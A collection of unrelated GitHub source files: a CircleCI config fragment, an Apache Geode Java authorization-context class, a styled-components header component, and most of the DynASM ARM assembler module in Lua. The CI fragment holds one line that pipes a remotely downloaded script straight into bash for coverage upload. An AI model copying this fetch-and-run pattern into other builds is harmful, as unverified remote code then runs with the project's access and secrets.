bash <(curl -s https://codecov.io/bash) -P ${CIRCLE_PULL_REQUEST##*/}
workflows:
version: 2
test:
jobs:
- test
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.cache.operations;
import org.apache.geode.cache.Region;
/**
* Encapsulates an {@link org.apache.geode.cache.operations.OperationContext.OperationCode#PUT}
* region operation having both key and value objects for for both the pre-operation case and for
* post-operation updates.
*
* @since GemFire 5.5
* @deprecated since Geode1.0, use {@link org.apache.geode.security.ResourcePermission} instead
*/
public class PutOperationContext extends KeyValueOperationContext {
/**
* Indicates that it is not known whether the operation results in a create or in an update. The
* authorization callback should explicitly use the {@link Region#containsKey} method to determine
* it when required.
*/
public static final byte UNKNOWN = 0;
/**
* Indicates that the operation results in a create of the key.
*/
public static final byte CREATE = 1;
/**
* Indicates that the operation results in an update of the key.
*/
public static final byte UPDATE = 2;
/**
* Flag to indicate whether the current operation is a create or update or unknown.
*/
private byte opType;
/**
* Constructor for the operation.
*
* @param key the key for this operation
* @param value the value for this operation
* @param isObject true when the value is an object; false when it is a raw byte array
* @since GemFire 6.5
*/
public PutOperationContext(Object key, Object value, boolean isObject) {
super(key, value, isObject);
this.opType = UNKNOWN;
}
/**
* Constructor for the operation.
*
* @param key the key for this operation
* @param value the value for this operation
* @param isObject true when the value is an object; false when it is a raw byte array
* @param postOperation true if the context is at the time of sending updates
* @since GemFire 6.5
*/
public PutOperationContext(Object key, Object value, boolean isObject, boolean postOperation) {
super(key, value, isObject, postOperation);
this.opType = UNKNOWN;
}
/**
* Constructor for the operation.
*
* @param key the key for this operation
* @param value the value for this operation
* @param isObject true when the value is an object; false when it is a raw byte array
* @param opType flag to indicate whether the operation is create/update or unknown
* @param isPostOperation true if the context is at the time of sending updates
* @since GemFire 6.5
*/
public PutOperationContext(Object key, Object value, boolean isObject, byte opType,
boolean isPostOperation) {
super(key, value, isObject, isPostOperation);
this.opType = opType;
}
/**
* Return the operation associated with the <code>OperationContext</code> object.
*
* @return <code>OperationCode.PUT</code>.
*/
@Override
public OperationCode getOperationCode() {
return OperationCode.PUT;
}
/**
* Return whether the operation is a create or update or unknown.
*
* The user should check against {@link PutOperationContext#CREATE},
* {@link PutOperationContext#UPDATE}, {@link PutOperationContext#UNKNOWN}. For the
* {@link PutOperationContext#UNKNOWN} case, the authorization callback should explicitly invoke
* {@link Region#containsKey} to determine if it is create or update when required.
*
* @return one of {@link PutOperationContext#CREATE}, {@link PutOperationContext#UPDATE},
* {@link PutOperationContext#UNKNOWN}
*/
public byte getOpType() {
return this.opType;
}
}
| {
"pile_set_name": "Github"
} |
/**
*
* HeaderActions
*
*/
import styled from 'styled-components';
const HeaderActions = styled.div`
display: flex;
justify-content: flex-end;
width: fit-content;
max-width: 100%;
padding-top: 1rem;
> button {
margin-right: 0;
margin-left: 1rem;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
text-align: center;
outline: 0;
}
`;
export default HeaderActions;
| {
"pile_set_name": "Github"
} |
------------------------------------------------------------------------------
-- DynASM ARM module.
--
-- Copyright (C) 2005-2015 Mike Pall. All rights reserved.
-- See dynasm.lua for full copyright notice.
------------------------------------------------------------------------------
-- Module information:
local _info = {
arch = "arm",
description = "DynASM ARM module",
version = "1.3.0",
vernum = 10300,
release = "2011-05-05",
author = "Mike Pall",
license = "MIT",
}
-- Exported glue functions for the arch-specific module.
local _M = { _info = _info }
-- Cache library functions.
local type, tonumber, pairs, ipairs = type, tonumber, pairs, ipairs
local assert, setmetatable, rawget = assert, setmetatable, rawget
local _s = string
local sub, format, byte, char = _s.sub, _s.format, _s.byte, _s.char
local match, gmatch, gsub = _s.match, _s.gmatch, _s.gsub
local concat, sort, insert = table.concat, table.sort, table.insert
local bit = bit or require("bit")
local band, shl, shr, sar = bit.band, bit.lshift, bit.rshift, bit.arshift
local ror, tohex = bit.ror, bit.tohex
-- Inherited tables and callbacks.
local g_opt, g_arch
local wline, werror, wfatal, wwarn
-- Action name list.
-- CHECK: Keep this in sync with the C code!
local action_names = {
"STOP", "SECTION", "ESC", "REL_EXT",
"ALIGN", "REL_LG", "LABEL_LG",
"REL_PC", "LABEL_PC", "IMM", "IMM12", "IMM16", "IMML8", "IMML12", "IMMV8",
}
-- Maximum number of section buffer positions for dasm_put().
-- CHECK: Keep this in sync with the C code!
local maxsecpos = 25 -- Keep this low, to avoid excessively long C lines.
-- Action name -> action number.
local map_action = {}
for n,name in ipairs(action_names) do
map_action[name] = n-1
end
-- Action list buffer.
local actlist = {}
-- Argument list for next dasm_put(). Start with offset 0 into action list.
local actargs = { 0 }
-- Current number of section buffer positions for dasm_put().
local secpos = 1
------------------------------------------------------------------------------
-- Dump action names and numbers.
local function dumpactions(out)
out:write("DynASM encoding engine action codes:\n")
for n,name in ipairs(action_names) do
local num = map_action[name]
out:write(format(" %-10s %02X %d\n", name, num, num))
end
out:write("\n")
end
-- Write action list buffer as a huge static C array.
local function writeactions(out, name)
local nn = #actlist
if nn == 0 then nn = 1; actlist[0] = map_action.STOP end
out:write("static const unsigned int ", name, "[", nn, "] = {\n")
for i = 1,nn-1 do
assert(out:write("0x", tohex(actlist[i]), ",\n"))
end
assert(out:write("0x", tohex(actlist[nn]), "\n};\n\n"))
end
------------------------------------------------------------------------------
-- Add word to action list.
local function wputxw(n)
assert(n >= 0 and n <= 0xffffffff and n % 1 == 0, "word out of range")
actlist[#actlist+1] = n
end
-- Add action to list with optional arg. Advance buffer pos, too.
local function waction(action, val, a, num)
local w = assert(map_action[action], "bad action name `"..action.."'")
wputxw(w * 0x10000 + (val or 0))
if a then actargs[#actargs+1] = a end
if a or num then secpos = secpos + (num or 1) end
end
-- Flush action list (intervening C code or buffer pos overflow).
local function wflush(term)
if #actlist == actargs[1] then return end -- Nothing to flush.
if not term then waction("STOP") end -- Terminate action list.
wline(format("dasm_put(Dst, %s);", concat(actargs, ", ")), true)
actargs = { #actlist } -- Actionlist offset is 1st arg to next dasm_put().
secpos = 1 -- The actionlist offset occupies a buffer position, too.
end
-- Put escaped word.
local function wputw(n)
if n <= 0x000fffff then waction("ESC") end
wputxw(n)
end
-- Reserve position for word.
local function wpos()
local pos = #actlist+1
actlist[pos] = ""
return pos
end
-- Store word to reserved position.
local function wputpos(pos, n)
assert(n >= 0 and n <= 0xffffffff and n % 1 == 0, "word out of range")
if n <= 0x000fffff then
insert(actlist, pos+1, n)
n = map_action.ESC * 0x10000
end
actlist[pos] = n
end
------------------------------------------------------------------------------
-- Global label name -> global label number. With auto assignment on 1st use.
local next_global = 20
local map_global = setmetatable({}, { __index = function(t, name)
if not match(name, "^[%a_][%w_]*$") then werror("bad global label") end
local n = next_global
if n > 2047 then werror("too many global labels") end
next_global = n + 1
t[name] = n
return n
end})
-- Dump global labels.
local function dumpglobals(out, lvl)
local t = {}
for name, n in pairs(map_global) do t[n] = name end
out:write("Global labels:\n")
for i=20,next_global-1 do
out:write(format(" %s\n", t[i]))
end
out:write("\n")
end
-- Write global label enum.
local function writeglobals(out, prefix)
local t = {}
for name, n in pairs(map_global) do t[n] = name end
out:write("enum {\n")
for i=20,next_global-1 do
out:write(" ", prefix, t[i], ",\n")
end
out:write(" ", prefix, "_MAX\n};\n")
end
-- Write global label names.
local function writeglobalnames(out, name)
local t = {}
for name, n in pairs(map_global) do t[n] = name end
out:write("static const char *const ", name, "[] = {\n")
for i=20,next_global-1 do
out:write(" \"", t[i], "\",\n")
end
out:write(" (const char *)0\n};\n")
end
------------------------------------------------------------------------------
-- Extern label name -> extern label number. With auto assignment on 1st use.
local next_extern = 0
local map_extern_ = {}
local map_extern = setmetatable({}, { __index = function(t, name)
-- No restrictions on the name for now.
local n = next_extern
if n > 2047 then werror("too many extern labels") end
next_extern = n + 1
t[name] = n
map_extern_[n] = name
return n
end})
-- Dump extern labels.
local function dumpexterns(out, lvl)
out:write("Extern labels:\n")
for i=0,next_extern-1 do
out:write(format(" %s\n", map_extern_[i]))
end
out:write("\n")
end
-- Write extern label names.
local function writeexternnames(out, name)
out:write("static const char *const ", name, "[] = {\n")
for i=0,next_extern-1 do
out:write(" \"", map_extern_[i], "\",\n")
end
out:write(" (const char *)0\n};\n")
end
------------------------------------------------------------------------------
-- Arch-specific maps.
-- Ext. register name -> int. name.
local map_archdef = { sp = "r13", lr = "r14", pc = "r15", }
-- Int. register name -> ext. name.
local map_reg_rev = { r13 = "sp", r14 = "lr", r15 = "pc", }
local map_type = {} -- Type name -> { ctype, reg }
local ctypenum = 0 -- Type number (for Dt... macros).
-- Reverse defines for registers.
function _M.revdef(s)
return map_reg_rev[s] or s
end
local map_shift = { lsl = 0, lsr = 1, asr = 2, ror = 3, }
local map_cond = {
eq = 0, ne = 1, cs = 2, cc = 3, mi = 4, pl = 5, vs = 6, vc = 7,
hi = 8, ls = 9, ge = 10, lt = 11, gt = 12, le = 13, al = 14,
hs = 2, lo = 3,
}
------------------------------------------------------------------------------
-- Template strings for ARM instructions.
local map_op = {
-- Basic data processing instructions.
and_3 = "e0000000DNPs",
eor_3 = "e0200000DNPs",
sub_3 = "e0400000DNPs",
rsb_3 = "e0600000DNPs",
add_3 = "e0800000DNPs",
adc_3 = "e0a00000DNPs",
sbc_3 = "e0c00000DNPs",
rsc_3 = "e0e00000DNPs",
tst_2 = "e1100000NP",
teq_2 = "e1300000NP",
cmp_2 = "e1500000NP",
cmn_2 = "e1700000NP",
orr_3 = "e1800000DNPs",
mov_2 = "e1a00000DPs",
bic_3 = "e1c00000DNPs",
mvn_2 = "e1e00000DPs",
and_4 = "e0000000DNMps",
eor_4 = "e0200000DNMps",
sub_4 = "e0400000DNMps",
rsb_4 = "e0600000DNMps",
add_4 = "e0800000DNMps",
adc_4 = "e0a00000DNMps",
sbc_4 = "e0c00000DNMps",
rsc_4 = "e0e00000DNMps",
tst_3 = "e1100000NMp",
teq_3 = "e1300000NMp",
cmp_3 = "e1500000NMp",
cmn_3 = "e1700000NMp",
orr_4 = "e1800000DNMps",
mov_3 = "e1a00000DMps",
bic_4 = "e1c00000DNMps",
mvn_3 = "e1e00000DMps",
lsl_3 = "e1a00000DMws",
lsr_3 = "e1a00020DMws",
asr_3 = "e1a00040DMws",
ror_3 = "e1a00060DMws",
rrx_2 = "e1a00060DMs",
-- Multiply and multiply-accumulate.
mul_3 = "e0000090NMSs",
mla_4 = "e0200090NMSDs",
umaal_4 = "e0400090DNMSs", -- v6
mls_4 = "e0600090DNMSs", -- v6T2
umull_4 = "e0800090DNMSs",
umlal_4 = "e0a00090DNMSs",
smull_4 = "e0c00090DNMSs",
smlal_4 = "e0e00090DNMSs",
-- Halfword multiply and multiply-accumulate.
smlabb_4 = "e1000080NMSD", -- v5TE
smlatb_4 = "e10000a0NMSD", -- v5TE
smlabt_4 = "e10000c0NMSD", -- v5TE
smlatt_4 = "e10000e0NMSD", -- v5TE
smlawb_4 = "e1200080NMSD", -- v5TE
smulwb_3 = "e12000a0NMS", -- v5TE
smlawt_4 = "e12000c0NMSD", -- v5TE
smulwt_3 = "e12000e0NMS", -- v5TE
smlalbb_4 = "e1400080NMSD", -- v5TE
smlaltb_4 = "e14000a0NMSD", -- v5TE
smlalbt_4 = "e14000c0NMSD", -- v5TE
smlaltt_4 = "e14000e0NMSD", -- v5TE
smulbb_3 = "e1600080NMS", -- v5TE
smultb_3 = "e16000a0NMS", -- v5TE
smulbt_3 = "e16000c0NMS", -- v5TE
smultt_3 = "e16000e0NMS", -- v5TE
-- Miscellaneous data processing instructions.
clz_2 = "e16f0f10DM", -- v5T
rev_2 = "e6bf0f30DM", -- v6
rev16_2 = "e6bf0fb0DM", -- v6
revsh_2 = "e6ff0fb0DM", -- v6
sel_3 = "e6800fb0DNM", -- v6
usad8_3 = "e780f010NMS", -- v6
usada8_4 = "e7800010NMSD", -- v6
rbit_2 = "e6ff0f30DM", -- v6T2
movw_2 = "e3000000DW", -- v6T2
movt_2 = "e3400000DW", -- v6T2
-- Note: the X encodes width-1, not width.
sbfx_4 = "e7a00050DMvX", -- v6T2
ubfx_4 = "e7e00050DMvX", -- v6T2
-- Note: the X encodes the msb field, not the width.
bfc_3 = "e7c0001fDvX", -- v6T2
bfi_4 = "e7c00010DMvX", -- v6T2
-- Packing and unpacking instructions.
pkhbt_3 = "e6800010DNM", pkhbt_4 = "e6800010DNMv", -- v6
pkhtb_3 = "e6800050DNM", pkhtb_4 = "e6800050DNMv", -- v6
sxtab_3 = "e6a00070DNM", sxtab_4 = "e6a00070DNMv", -- v6
sxtab16_3 = "e6800070DNM", sxtab16_4 = "e6800070DNMv", -- v6
sxtah_3 = "e6b00070DNM", sxtah_4 = "e6b00070DNMv", -- v6
sxtb_2 = "e6af0070DM", sxtb_3 = "e6af0070DMv", -- v6
sxtb16_2 = "e68f0070DM", sxtb16_3 = "e68f0070DMv", -- v6
sxth_2 = "e6bf0070DM", sxth_3 = "e6bf0070DMv", -- v6
uxtab_3 = "e6e00070DNM", uxtab_4 = "e6e00070DNMv", -- v6
uxtab16_3 = "e6c00070DNM", uxtab16_4 = "e6c00070DNMv", -- v6
uxtah_3 = "e6f00070DNM", uxtah_4 = "e6f00070DNMv", -- v6
uxtb_2 = "e6ef0070DM", uxtb_3 = "e6ef0070DMv", -- v6
uxtb16_2 = "e6cf0070DM", uxtb16_3 = "e6cf0070DMv", -- v6
uxth_2 = "e6ff0070DM", uxth_3 = "e6ff0070DMv", -- v6
-- Saturating instructions.
qadd_3 = "e1000050DMN", -- v5TE
qsub_3 = "e1200050DMN", -- v5TE
qdadd_3 = "e1400050DMN", -- v5TE
qdsub_3 = "e1600050DMN", -- v5TE
-- Note: the X for ssat* encodes sat_imm-1, not sat_imm.
ssat_3 = "e6a00010DXM", ssat_4 = "e6a00010DXMp", -- v6
usat_3 = "e6e00010DXM", usat_4 = "e6e00010DXMp", -- v6
ssat16_3 = "e6a00f30DXM", -- v6
usat16_3 = "e6e00f30DXM", -- v6
-- Parallel addition and subtraction.
sadd16_3 = "e6100f10DNM", -- v6
sasx_3 = "e6100f30DNM", -- v6
ssax_3 = "e6100f50DNM", -- v6
ssub16_3 = "e6100f70DNM", -- v6
sadd8_3 = "e6100f90DNM", -- v6
ssub8_3 = "e6100ff0DNM", -- v6
qadd16_3 = "e6200f10DNM", -- v6
qasx_3 = "e6200f30DNM", -- v6
qsax_3 = "e6200f50DNM", -- v6
qsub16_3 = "e6200f70DNM", -- v6
qadd8_3 = "e6200f90DNM", -- v6
qsub8_3 = "e6200ff0DNM", -- v6
shadd16_3 = "e6300f10DNM", -- v6
shasx_3 = "e6300f30DNM", -- v6
shsax_3 = "e6300f50DNM", -- v6
shsub16_3 = "e6300f70DNM", -- v6
shadd8_3 = "e6300f90DNM", -- v6
shsub8_3 = "e6300ff0DNM", -- v6
uadd16_3 = "e6500f10DNM", -- v6
uasx_3 = "e6500f30DNM", -- v6
usax_3 = "e6500f50DNM", -- v6
usub16_3 = "e6500f70DNM", -- v6
uadd8_3 = "e6500f90DNM", -- v6
usub8_3 = "e6500ff0DNM", -- v6
uqadd16_3 = "e6600f10DNM", -- v6
uqasx_3 = "e6600f30DNM", -- v6
uqsax_3 = "e6600f50DNM", -- v6
uqsub16_3 = "e6600f70DNM", -- v6
uqadd8_3 = "e6600f90DNM", -- v6
uqsub8_3 = "e6600ff0DNM", -- v6
uhadd16_3 = "e6700f10DNM", -- v6
uhasx_3 = "e6700f30DNM", -- v6
uhsax_3 = "e6700f50DNM", -- v6
uhsub16_3 = "e6700f70DNM", -- v6
uhadd8_3 = "e6700f90DNM", -- v6
uhsub8_3 = "e6700ff0DNM", -- v6
-- Load/store instructions.
str_2 = "e4000000DL", str_3 = "e4000000DL", str_4 = "e4000000DL",
strb_2 = "e4400000DL", strb_3 = "e4400000DL", strb_4 = "e4400000DL",
ldr_2 = "e4100000DL", ldr_3 = "e4100000DL", ldr_4 = "e4100000DL",
ldrb_2 = "e4500000DL", ldrb_3 = "e4500000DL", ldrb_4 = "e4500000DL",
strh_2 = "e00000b0DL", strh_3 = "e00000b0DL",
ldrh_2 = "e01000b0DL", ldrh_3 = "e01000b0DL",
ldrd_2 = "e00000d0DL", ldrd_3 = "e00000d0DL", -- v5TE
ldrsb_2 = "e01000d0DL", ldrsb_3 = "e01000d0DL",
strd_2 = "e00000f0DL", strd_3 = "e00000f0DL", -- v5TE
ldrsh_2 = "e01000f0DL", ldrsh_3 = "e01000f0DL",
ldm_2 = "e8900000oR", ldmia_2 = "e8900000oR", ldmfd_2 = "e8900000oR",
ldmda_2 = "e8100000oR", ldmfa_2 = "e8100000oR",
ldmdb_2 = "e9100000oR", ldmea_2 = "e9100000oR",
ldmib_2 = "e9900000oR", ldmed_2 = "e9900000oR",
stm_2 = "e8800000oR", stmia_2 = "e8800000oR", stmfd_2 = "e8800000oR",
stmda_2 = "e8000000oR", stmfa_2 = "e8000000oR",
stmdb_2 = "e9000000oR", stmea_2 = "e9000000oR",
stmib_2 = "e9800000oR", stmed_2 = "e9800000oR",
pop_1 = "e8bd0000R", push_1 = "e92d0000R",
-- Branch instructions.
b_1 = "ea000000B",
bl_1 = "eb000000B",
blx_1 = "e12fff30C",
bx_1 = "e12fff10M",
-- Miscellaneous instructions.
nop_0 = "e1a00000",
mrs_1 = "e10f0000D",
bkpt_1 = "e1200070K", -- v5T
svc_1 = "ef000000T", swi_1 = "ef000000T",
ud_0 = "e7f001f0",
-- VFP instructions.
["vadd.f32_3"] = "ee300a00dnm",
["vadd.f64_3"] = "ee300b00Gdnm",
["vsub.f32_3"] = "ee300a40dnm",
["vsub.f64_3"] = "ee300b40Gdnm",
["vmul.f32_3"] = "ee200a00dnm",
["vmul.f64_3"] = "ee200b00Gdnm",
["vnmul.f32_3"] = "ee200a40dnm",
["vnmul.f64_3"] = "ee200b40Gdnm",
["vmla.f32_3"] = "ee000a00dnm",
["vmla.f64_3"] = "ee000b00Gdnm",
["vmls.f32_3"] = "ee000a40dnm",
["vmls.f64_3"] = "ee000b40Gdnm",
["vnmla.f32_3"] = "ee100a40dnm",
["vnmla.f64_3"] = "ee100b40Gdnm",
["vnmls.f32_3"] = "ee100a00dnm",
["vnmls.f64_3"] = "ee100b00Gdnm",
["vdiv.f32_3"] = "ee800a00dnm",
["vdiv.f64_3"] = "ee800b00Gdnm",
["vabs.f32_2"] = "eeb00ac0dm",
["vabs.f64_2"] = "eeb00bc0Gdm",
["vneg.f32_2"] = "eeb10a40dm",
["vneg.f64_2"] = "eeb10b40Gdm",
["vsqrt.f32_2"] = "eeb10ac0dm",
["vsqrt.f64_2"] = "eeb10bc0Gdm",
["vcmp.f32_2"] = "eeb40a40dm",
["vcmp.f64_2"] = "eeb40b40Gdm",
["vcmpe.f32_2"] = "eeb40ac0dm",
["vcmpe.f64_2"] = "eeb40bc0Gdm",
["vcmpz.f32_1"] = "eeb50a40d",
["vcmpz.f64_1"] = "eeb50b40Gd",
["vcmpze.f32_1"] = "eeb50ac0d",
["vcmpze.f64_1"] = "eeb50bc0Gd",
vldr_2 = "ed100a00dl|ed100b00Gdl",
vstr_2 = "ed000a00dl|ed000b00Gdl",
vldm_2 = "ec900a00or",
vldmia_2 = "ec900a00or",
vldmdb_2 = "ed100a00or",
vpop_1 = "ecbd0a00r",
vstm_2 = "ec800a00or",
vstmia_2 = "ec800a00or",
vstmdb_2 = "ed000a00or",
vpush_1 = "ed2d0a00r",
["vmov.f32_2"] = "eeb00a40dm|eeb00a00dY", -- #imm is VFPv3 only
["vmov.f64_2"] = "eeb00b40Gdm|eeb00b00GdY", -- #imm is VFPv3 only
vmov_2 = "ee100a10Dn|ee000a10nD",
vmov_3 = "ec500a10DNm|ec400a10mDN|ec500b10GDNm|ec400b10GmDN",
vmrs_0 = "eef1fa10",
vmrs_1 = "eef10a10D",
vmsr_1 = "eee10a10D",
["vcvt.s32.f32_2"] = "eebd0ac0dm",
["vcvt.s32.f64_2"] = "eebd0bc0dGm",
["vcvt.u32.f32_2"] = "eebc0ac0dm",
["vcvt.u32.f64_2"] = "eebc0bc0dGm",
["vcvtr.s32.f32_2"] = "eebd0a40dm",
["vcvtr.s32.f64_2"] = "eebd0b40dGm",
["vcvtr.u32.f32_2"] = "eebc0a40dm",
["vcvtr.u32.f64_2"] = "eebc0b40dGm",
["vcvt.f32.s32_2"] = "eeb80ac0dm",
["vcvt.f64.s32_2"] = "eeb80bc0GdFm",
["vcvt.f32.u32_2"] = "eeb80a40dm",
["vcvt.f64.u32_2"] = "eeb80b40GdFm",
["vcvt.f32.f64_2"] = "eeb70bc0dGm",
["vcvt.f64.f32_2"] = "eeb70ac0GdFm",
-- VFPv4 only:
["vfma.f32_3"] = "eea00a00dnm",
["vfma.f64_3"] = "eea00b00Gdnm",
["vfms.f32_3"] = "eea00a40dnm",
["vfms.f64_3"] = "eea00b40Gdnm",
["vfnma.f32_3"] = "ee900a40dnm",
["vfnma.f64_3"] = "ee900b40Gdnm",
["vfnms.f32_3"] = "ee900a00dnm",
["vfnms.f64_3"] = "ee900b00Gdnm",
-- NYI: Advanced SIMD instructions.
-- NYI: I have no need for these instructions right now:
-- swp, swpb, strex, ldrex, strexd, ldrexd, strexb, ldrexb, strexh, ldrexh
-- msr, nopv6, yield, wfe, wfi, sev, dbg, bxj, smc, srs, rfe
-- cps, setend, pli, pld, pldw, clrex, dsb, dmb, isb
-- stc, ldc, mcr, mcr2, mrc, mrc2, mcrr, mcrr2, mrrc, mrrc2, cdp, cdp2
}
-- Add mnemonics for "s" variants.
do
local t = {}
for k,v in pairs(map_op) do
if sub(v, -1) == "s" then
local v2 = sub(v, 1, 2)..char(byte(v, 3)+1)..sub(v, 4, -2)
t[sub(k, 1, -3).."s"..sub(k, -2)] = v2
end
end
for k,v in pairs(t) do
map_op[k] = v
end
end
------------------------------------------------------------------------------
local function parse_gpr(expr)
local tname, ovreg = match(expr, "^([%w_]+):(r1?[0-9])$")
local tp = map_type[tname or expr]
if tp then
local reg = ovreg or tp.reg
if not reg then
werror("type `"..(tname or expr).."' needs a register override")
end
expr = reg
end
local r = match(expr, "^r(1?[0-9])$")
if r then
r = tonumber(r)
if r <= 15 then return r, tp end
end
werror("bad register name `"..expr.."'")
end
local function parse_gpr_pm(expr)
local pm, expr2 = match(expr, "^([+-]?)(.*)$")
return parse_gpr(expr2), (pm == "-")
end
local function parse_vr(expr, tp)
local t, r = match(expr, "^([sd])([0-9]+)$")
if t == tp then
r = tonumber(r)
if r <= 31 then
if t == "s" then return shr(r, 1), band(r, 1) end
return band(r, 15), shr(r, 4)
end
end
werror("bad register name `"..expr.."'")
end
local function parse_reglist(reglist)
reglist = match(reglist, "^{%s*([^}]*)}$")
if not reglist then werror("register list expected") end
local rr = 0
for p in gmatch(reglist..",", "%s*([^,]*),") do
local rbit = shl(1, parse_gpr(gsub(p, "%s+$", "")))
if band(rr, rbit) ~= 0 then
werror("duplicate register `"..p.."'")
end
rr = rr + rbit
end
return rr
end
local function parse_vrlist(reglist)
local ta, ra, tb, rb = match(reglist,
"^{%s*([sd])([0-9]+)%s*%-%s*([sd])([0-9]+)%s*}$")
ra, rb = tonumber(ra), tonumber(rb)
if ta and ta == tb and ra and rb and ra <= 31 and rb <= 31 and ra <= rb then
local nr = rb+1 - ra
if ta == "s" then
return shl(shr(ra,1),12)+shl(band(ra,1),22) + nr
else
return shl(band(ra,15),12)+shl(shr(ra,4),22) + nr*2 + 0x100
end
end
werror("register list expected")
end
local function parse_imm(imm, bits, shift, scale, signed)
imm = match(imm, "^#(.*)$")
if not imm then werror("expected immediate operand") end
local n = tonumber(imm)
if n then
local m = sar(n, scale)
if shl(m, scale) == n then
if signed then
local s = sar(m, bits-1)
if s == 0 then return shl(m, shift)
elseif s == -1 then return shl(m + shl(1, bits), shift) end
else
if sar(m, bits) == 0 then return shl(m, shift) end
end
end
werror("out of range immediate `"..imm.."'")
else
waction("IMM", (signed and 32768 or 0)+scale*1024+bits*32+shift, imm)
return 0
end
end
local function parse_imm12(imm)
local n = tonumber(imm)
if n then
local m = band(n)
for i=0,-15,-1 do
if shr(m, 8) == 0 then return m + shl(band(i, 15), 8) end
m = ror(m, 2)
end
werror("out of range immediate `"..imm.."'")
else
waction("IMM12", 0, imm)
return 0
end
end
local function parse_imm16(imm)
imm = match(imm, "^#(.*)$")
if not imm then werror("expected immediate operand") end
local n = tonumber(imm)
if n then
if shr(n, 16) == 0 then return band(n, 0x0fff) + shl(band(n, 0xf000), 4) end
werror("out of range immediate `"..imm.."'")
else
waction("IMM16", 32*16, imm)
return 0
end
end
local function parse_imm_load(imm, ext)
local n = tonumber(imm)
if n then
if ext then
if n >= -255 and n <= 255 then
local up = 0x00800000
if n < 0 then n = -n; up = 0 end
return shl(band(n, 0xf0), 4) + band(n, 0x0f) + up
end
else
if n >= -4095 and n <= 4095 then
if n >= 0 then return n+0x00800000 end
return -n
end
end
werror("out of range immediate `"..imm.."'")
else
waction(ext and "IMML8" or "IMML12", 32768 + shl(ext and 8 or 12, 5), imm)
return 0
end
end
local function parse_shift(shift, gprok)
if shift == "rrx" then
return 3 * 32
else
local s, s2 = match(shift, "^(%S+)%s*(.*)$")
s = map_shift[s]
if not s then werror("expected shift operand") end
if sub(s2, 1, 1) == "#" then
return parse_imm(s2, 5, 7, 0, false) + shl(s, 5)
else
if not gprok then werror("expected immediate shift operand") end
return shl(parse_gpr(s2), 8) + shl(s, 5) + 16
end
end
end
local function parse_label(label, def)
local prefix = sub(label, 1, 2)
-- =>label (pc label reference)
if prefix == "=>" then
return "PC", 0, sub(label, 3)
end
-- ->name (global label reference)
if prefix == "->" then
return "LG", map_global[sub(label, 3)]
end
if def then
-- [1-9] (local label definition)
if match(label, "^[1-9]$") then
return "LG", 10+tonumber(label)
end
else
-- [<>][1-9] (local label reference)
local dir, lnum = match(label, "^([<>])([1-9])$")
if dir then -- Fwd: 1-9, Bkwd: 11-19.
return "LG", lnum + (dir == ">" and 0 or 10)
end
-- extern label (extern label reference)
local extname = match(label, "^extern%s+(%S+)$")
if extname then
return "EXT", map_extern[extname]
end
end
werror("bad label `"..label.."'")
end
local function parse_load(params, nparams, n, op)
local oplo = band(op, 255)
local ext, ldrd = (oplo ~= 0), (oplo == 208)
local d
if (ldrd or oplo == 240) then
d = band(shr(op, 12), 15)
if band(d, 1) ~= 0 then werror("odd destination register") end
end
local pn = params[n]
local p1, wb = match(pn, "^%[%s*(.-)%s*%](!?)$")
local p2 = params[n+1]
if not p1 then
if not p2 then
if match(pn, "^[<>=%-]") or match(pn, "^extern%s+") then
local mode, n, s = parse_label(pn, false)
waction("REL_"..mode, n + (ext and 0x1800 or 0x0800), s, 1)
return op + 15 * 65536 + 0x01000000 + (ext and 0x00400000 or 0)
end
local reg, tailr = match(pn, "^([%w_:]+)%s*(.*)$")
if reg and tailr ~= "" then
local d, tp = parse_gpr(reg)
if tp then
waction(ext and "IMML8" or "IMML12", 32768 + 32*(ext and 8 or 12),
format(tp.ctypefmt, tailr))
return op + shl(d, 16) + 0x01000000 + (ext and 0x00400000 or 0)
end
end
end
werror("expected address operand")
end
if wb == "!" then op = op + 0x00200000 end
if p2 then
if wb == "!" then werror("bad use of '!'") end
local p3 = params[n+2]
op = op + shl(parse_gpr(p1), 16)
local imm = match(p2, "^#(.*)$")
if imm then
local m = parse_imm_load(imm, ext)
if p3 then werror("too many parameters") end
op = op + m + (ext and 0x00400000 or 0)
else
local m, neg = parse_gpr_pm(p2)
if ldrd and (m == d or m-1 == d) then werror("register conflict") end
op = op + m + (neg and 0 or 0x00800000) + (ext and 0 or 0x02000000)
if p3 then op = op + parse_shift(p3) end
end
else
local p1a, p2 = match(p1, "^([^,%s]*)%s*(.*)$")
op = op + shl(parse_gpr(p1a), 16) + 0x01000000
if p2 ~= "" then
local imm = match(p2, "^,%s*#(.*)$")
if imm then
local m = parse_imm_load(imm, ext)
op = op + m + (ext and 0x00400000 or 0)
else
local p2a, p3 = match(p2, "^,%s*([^,%s]*)%s*,?%s*(.*)$")
local m, neg = parse_gpr_pm(p2a)
if ldrd and (m == d or m-1 == d) then werror("register conflict") end
op = op + m + (neg and 0 or 0x00800000) + (ext and 0 or 0x02000000)
if p3 ~= "" then
if ext then werror("too many parameters") end
op = op + parse_shift(p3)
end
end
else
if wb == "!" then werror("bad use of '!'") end
op = op + (ext and 0x00c00000 or 0x00800000)
end
end
return op
end
local function parse_vload(q)
local reg, imm = match(q, "^%[%s*([^,%s]*)%s*(.*)%]$")
if reg then
local d = shl(parse_gpr(reg), 16)
if imm == "" then return d end
imm = match(imm, "^,%s*#(.*)$")
if imm then
local n = tonumber(imm)
if n then
if n >= -1020 and n <= 1020 and n%4 == 0 then
return d + (n >= 0 and n/4+0x00800000 or -n/4)
end
werror("out of range immediate `"..imm.."'")
else
waction("IMMV8", 32768 + 32*8, imm)
return d
end
end
else
if match(q, "^[<>=%-]") or match(q, "^extern%s+") then
local mode, n, s = parse_label(q, false)
waction("REL_"..mode, n + 0x2800, s, 1)
return 15 * 65536
end
local reg, tailr = match(q, "^([%w_:]+)%s*(.*)$")
if reg and tailr ~= "" then
local d, tp = parse_gpr(reg)
if tp then
waction("IMMV8", 32768 + 32*8, format(tp.ctypefmt, tailr))
return shl(d, 16)
end
end
end
